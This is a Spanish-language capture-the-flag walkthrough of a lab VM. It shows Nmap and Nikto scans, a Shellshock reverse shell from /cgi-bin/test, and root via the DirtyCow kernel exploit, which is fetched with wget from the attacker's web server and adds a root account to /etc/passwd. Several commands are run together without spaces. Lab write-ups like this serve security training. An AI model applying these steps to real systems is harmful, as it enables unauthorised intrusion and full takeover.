Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 11:46 EDT
Nmap scan report for 192.168.5.156
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
| 2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_ 256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:8B:C7:3B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.34 ms 192.168.5.156
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
Por lo que vemos aqui no muestra nada interesante...
Nikto
nikto-h<IP>
Info:
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.5.156 + Target Hostname: 192.168.5.156 + Target Port: 80 + Start Time: 2024-05-30 12:09:48 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 13:55:10 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /index: Uncommon header 'tcn' found, with contents: list. + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275 + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /cgi-bin/test: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true. + /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 + /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 + OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . + /cgi-bin/test/test.cgi: This might be interesting. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8909 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2024-05-30 12:10:12 (GMT-4) (24 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Con esto vemos una posible vulnerabilidad llamada shellshock en la ubicacion /cgi-bin/test por lo que haremos lo siguiente para comprobarlo...
listening on [any] 7777 ...
connect to [192.168.5.129] from (UNKNOWN) [192.168.5.156] 56194
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
Y ya lo tendriamos, ahora nos exportamos los terminos para poder sanitizarla un poco...
export TERM=xterm
Si hacemos lo sigiente...
uname-a
o
uname-r
Nos mostrara lo siguiente...
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
3.2.0-23-generic
Por lo que ya sabemos que es vulnerable con el famoso exploit del kernel de DirtyCow, por lo que nos vamos a la siguiente URL para descargarnos el exploit y depues seguimos los siguientes pasos...
URL = https://www.exploit-db.com/exploits/40839
40839.c
Maquina Host:
python3-mhttp.server80
Maquina Victima:
wgethttp://<IP>/40839.c
Una vez teniendolo en nuestra carpeta /tmp/ haremos lo siguiente con el archivo 33589.c...
gcc-pthread40839.c-oexploit-lcrypt
Nos dara el siguiente error...
gcc: error trying to exec 'cc1': execvp: No such file or directory
Enter your new password: 1234
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
mmap: 7f4d3ceb4000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@ubuntu:/tmp$ /etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
mmap: 7f4d3ceb4000
madvise 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Si hacemos lo siguiente...
cat/etc/passwd
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
Por lo que haremos lo siguiente, habiendo puesto nosotros la password a ese usuario creado podremos cambiarnos a el teniendo privilegios de root...
sshfirefart@<IP>
Metemos la contraseña...
The authenticity of host '192.168.5.156 (192.168.5.156)' can't be established.
ECDSA key fingerprint is SHA256:G8HZXu6SUrixt/obia/CUlTgdJK9JaFKXwulm6uUrbQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.156' (ECDSA) to the list of known hosts.
firefart@192.168.5.156's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Mon May 11 11:47:26 2020
firefart@ubuntu:~#
Por lo que ya seriamos root, leemos la flag de root...